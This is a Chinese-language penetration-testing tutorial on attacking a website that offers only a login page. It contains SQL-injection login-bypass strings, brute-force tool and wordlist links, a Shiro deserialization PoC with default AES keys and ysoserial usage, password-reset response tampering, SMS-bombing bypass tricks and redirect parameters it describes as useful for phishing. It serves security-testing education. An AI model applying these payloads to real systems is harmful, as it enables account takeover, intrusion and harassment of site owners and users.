前言
我們在進行滲透測試的時候,常常會遇到許多網站站點,而有的網站僅僅是基於一個登陸接口進行處理的。尤其是在內網環境的滲透測試中,客戶常常丟給你一個登陸網站頁面,沒有測試賬號,讓你自己進行滲透測試,一開始經驗不足的話,可能會無從下手。今天就來簡單說一下如何在只有一個登陸頁面的情況下,來進行滲透測試。
0x00
在條件允許的情況下,我們可以拿在滲透測試的開始之前拿出我們的掃描器來進行掃描,目前我們最常用的就是AWVS和Nessus,除此之外,我們還可以使用一些別的自動化測試工具,例如Nikto掃描器,Appscan,W3af,以及最近長亭科技的Xray掃描器,都可以試試。尤其是Xray掃描器,據說有許多小伙伴靠它挖到了許多漏洞。
以下是這些工具的一些使用方法,不進行贅述
Nikto https://zhuanlan.zhihu.com/p/70225775
Xray https://chaitin.github.io/xray/#/
W3af https://www.freebuf.com/column/145984.html
Appscan https://zhuanlan.zhihu.com/p/28729371
0x01--SQL注入
萬能密碼繞過
如果我們能夠直接繞過登錄,來直接訪問系統內部資源,那自然是最好不過的了。萬能密碼就是其中一最好用的一種,雖然存在的可能性不大,但是偶爾也是存在的,稍微嘗試一下也不會浪費太多時間。
例如'or 1=1 –
"or "a"="a
萬能密碼在網上非常多,隨便搜一下就有
例如這樣,就能直接訪問后台
登錄口SQL注入
有的系統在登錄口就存在SQL注入,目前我遇到過比較多的是Oracle以及MySQL的登錄口注入,我們可以在登錄處先抓一個包,然后根據抓包信息來構造Payload。值得一提的是,有時候我們需要在Burp里修改一下發包格式(change body encoding),才能成功注入。
在這給個例子:
正常登錄報錯

加一個引號
修改payload,以此返回數據包不同來判斷存在SQL注入。
並且,這類的SQL注入並不罕見,在許多網站中都可以進行嘗試,很有可能會存在此漏洞
0x02 明文傳輸/用戶名可枚舉/爆破弱口令
明文傳輸
可能是我們做滲透測試中,最常見的一種漏洞,實際上它並不能算得上是一種漏洞,僅僅只能說是一種不足之處而已,明文傳輸在網站上隨處可見,除了銀行網站,很有可能每一個密碼都是經過特殊加密然后再進行傳輸的。
用戶名可枚舉
此漏洞存在主要是因為頁面對所輸入的賬號密碼進行的判斷所回顯的數據不一樣,我們可以通過這點來進行用戶名的枚舉,然后通過枚舉后的賬戶名來進行弱口令的爆破。防御手段的話僅需要將用戶名與密碼出錯的回顯變成一樣即可,例如用戶名或密碼出錯。
爆破弱口令
弱口令可以說是滲透測試中,最最常見,也是危害“最大”的一種漏洞,因為毫無技術性,毫無新意,但是卻充滿了“破壞性”,尤其是在內網環境中,弱口令更是無處不在。Web頁面最常用的爆破工具為Burp,我們通常使用Nmap掃描也可能掃出其他端口存在,例如3389,SSH等。
弱口令爆破工具推薦,詳情可看以下,不在贅述:
Hydra:https://yq.aliyun.com/articles/608406/
超級弱口令:鏈接:https://pan.baidu.com/s/1mkwnxu19Aq-KEVCWOZn99w 提取碼:blj3
復制這段內容后打開百度網盤手機App,操作更方便哦
御劍RDP爆破: https://github.com/foryujian/yujianrdpcrack
Bruter: https://www.uedbox.com/post/8478/
此外,我們還可以根據網站域名,以及收集的一些信息來進行定制化爆破,例如我在一次內網滲透測試中,發現了管理員的名字縮寫為crj,然后我就生成了一堆密碼,最后成功登陸賬號密碼為crj112233。
定制化生成字典: http://tools.mayter.cn/
字典: https://github.com/rootphantomer/Blasting_dictionary
還有很多字典,可以在網上多收集一些,有時候你離Getshell,僅僅只差一個弱口令。
此外,有時候我們還可能遇到存在默認密碼的系統,在這給出一些網上公開的默認賬戶密碼
0x03 掃描
目錄掃描
在我看來,這是最好用的目錄掃描工具:https://github.com/maurosoria/dirsearch ,DirSearch已經成為了我日常滲透工作中密不可分的工具之一,並且我們可以多級別掃描,在枚舉子目錄的目錄,很多時候可以找到突破口。
除此之外,還有御劍:https://github.com/52stu/- 也是比較常用的
JS掃描
JS文件我們在滲透測試中也是經常用到的東西,有時候我們可以在JS文件中找到我們平時看不到的東西,例如重置密碼的JS,發送短信的JS,都是有可能未授權可訪問的。JS掃描的話推薦使用JSFind: https://github.com/Threezh1/JSFinder
同時它也會提取頁面中的URL,簡單舉例
nmap掃描
Nmap的強大功能能讓我們第一時間獲取網站的端口信息,而這些端口信息中常常可以給予我們非常大的幫助,例如開放了3389端口,或者一些敏感端口的探測,Nmap的使用方法相比不需要我再多說,每個安全工程師都必須要精通的一種工具,以下是我的一些端口小總結,希望可以給與大家一點兒幫助。
在掃描目錄與JS這塊,要注意多次爆破,遍歷訪問多級域名的目錄與JS。
我就曾在一個學校網站中,使用Nmap對批量網段的探測,獲得了一個登陸網站,並且在網站中遍歷目錄,獲得了一個test頁面,最后在這個頁面的JS文件中,獲取到了一個接口,通過這個接口重置了主登錄頁面的密碼。
0x04 框架漏洞
尋找CMS,或者網頁框架,以及某些廠商的服務存在漏洞
例如Apache中間件組件Shiro反序列化漏洞,這里簡單說一下:
需要一個ysoserial.jar https://github.com/frohoff/ysoserial
以及默認秘鑰
4AvVhmFLUs0KTA3Kprsdag==
2AvVhdsgUs0FSA3SDFAdag==
2AvVhdDFCVdfdfDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
kPH+bIxk5D2deZiIxcaaaA
wGiHplamyXlVB11UXWol8g==
6ZmI6I2j5Y+R5aSn5ZOlAA==
AsfawfsdfaAasdWWW==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==
POC
from Crypto.Cipher import AES
from Crypto import Random
from base64 import b64encode
from base64 import b64decode
BS = AES.block_size
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
def encrypt(key, text):
IV = Random.new().read(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, IV=IV)
data = b64encode(IV + cipher.encrypt(pad(text)))
return data
key= b64decode('2AvVhdsgUs0FSA3SDFAdag==')
print encrypt(key, open('payload.dat','rb').read())
使用方法
1:java -jar ysoserial.jar URLDNS "你的ceye.io或者burp的collaborator client功能中">payload.dat
2:運行python腳本,生成cookie
3:將cookie復制到burp發包,此時DNSlog就會記錄,我們可以再次構造進行命令執行,在這不進行深入。
致遠A8-getshell: https://www.cnblogs.com/dgjnszf/p/11104594.html
Thinkphp: https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection
Struts2: https://github.com/HatBoy/Struts2-Scan
weblogic: https://github.com/rabbitmask/WeblogicScan
以及各大Java反序列化漏洞等等,這里的漏洞都說不完了。
0x05
尋找邏輯漏洞,例如忘記密碼,任意用戶注冊
任意重置密碼
例如
此時客戶端會發一個驗證碼包,我們這是隨意輸入驗證碼,發包,返回包。
返回包錯誤的回顯為{"status":0}
將返回包的東西換成{"status":1}
即可重置密碼
烏雲示例:http://www.anquan.us/static/bugs/wooyun-2013-039809.html
任意用戶注冊
爆破注冊頁面的驗證碼,即可任意用戶注冊
同樣,這里的驗證碼如果為四位數的話,有時候也可能存在可爆破,可進行任意用戶重置密碼
短信轟炸
短信轟炸很常見,一般在發送驗證碼后抓包,不斷repeate即可,如果做了一定防護的話,在添加空格,或者特殊符號,或+86等都可以進行繞過
不完全的登錄
這個漏洞我找到過一次,就是在登錄頁面,隨意輸入任意的賬戶和密碼,然后抓包,修改返回包,騙過前端,從而獲得一定的權限,其功能不完善,但是依舊可以看到許多敏感數據。
邏輯漏洞這里要根據不同網站來進行測試,邏輯漏洞的方式多種多樣,常常會遇到許多奇怪的姿勢,例如cookie某字段為Guest,修改為admin即可更換用戶身份的,還需要在日常工作中多加總結。
0x06
禁用JS插件,查看頁面源代碼12
禁用JS和查看源代碼,有時候會有意想不到的驚喜。
例如某些重定向,某些權限缺失,在我們未授權進入后台一瞬間,就會重定向回去登錄頁面,而如果此時我們禁用了JS,則可以進行一定權限的控制。
查看源代碼則不用多說,有的不大聰明的程序員可能會在源代碼里泄露一些不可告人的秘密,例如測試賬號,還有我們可能會找到一些網站的后台結構,以及JS接口。
0x07
URL重定向
URL重定向是我們滲透測試中非常常見的一個漏洞,一般出現在以下參數里,而登錄時常常也有這個URL重定向到后台網站,我們修改這個后台網站的URL即可跳轉到任意頁面,可用於釣魚頁面的制作
例如 http://www.aaa.com?url=aHR0cDovL2FkbWluLmFhYS5jb20=
url后面常會進行base64編碼處理
常見URL跳轉參數:
redirect
redirect_to
redirect_url
url
jump
jump_to
target
to
link
linkto
Domain
0x08
各種未授權訪問,免登錄進入后台
未授權訪問在這里有更強的大佬總結了,其需要我們對端口進行注意觀察。
https://xz.aliyun.com/t/6103
0x9 驗證碼問題
驗證碼可修改接受者
可將A賬號的修改密碼驗證碼接受者修改為B,這樣A賬號的驗證碼就會發到B的手機上,從而B可以重置A的賬號密碼
例如A賬號moblephone=13333888888 ,這點是可控的,我們修改為moblephone=18888888888,即可收到A賬號的重置驗證碼
登錄驗證碼可繞過
可能存在萬能驗證碼0000或者9999,不過此類情況較為罕見。更多的情況為修改返回包,可能會出現可繞過邏輯判斷。
驗證碼可爆破
驗證碼失效的時間過長,並且為純數字或者過短字符,導致可被爆破。
驗證碼回顯前端
有的網站驗證碼會回顯到前端,只需要抓包即可獲得驗證碼
驗證碼不刷新
驗證碼不會自動刷新,導致我們可一碼多次使用,我們只需要輸入一次驗證碼就可以讓我們能夠開始進行暴力破解。
驗證碼識別
這里使用PKAV的驗證碼自動識別
鏈接:https://pan.baidu.com/s/1-l16Nxse7SqQdgSiPZS2-A 提取碼:szo2
0x10 總結
簡單的來說,遇到一個登陸站點,我們需要做的時候有
1、條件允許的情況下開啟漏洞掃描
2、敏感信息的探測,例如端口,目錄,JS文件
3、爆破弱口令
4、抓包看看是否存在邏輯漏洞,或者SQL注入進行嘗試
5、尋找框架漏洞
PS:如果遇到某些大網站的主站登錄,例如銀行,建議放棄,尋找其他業務,例如招聘站點登錄等。













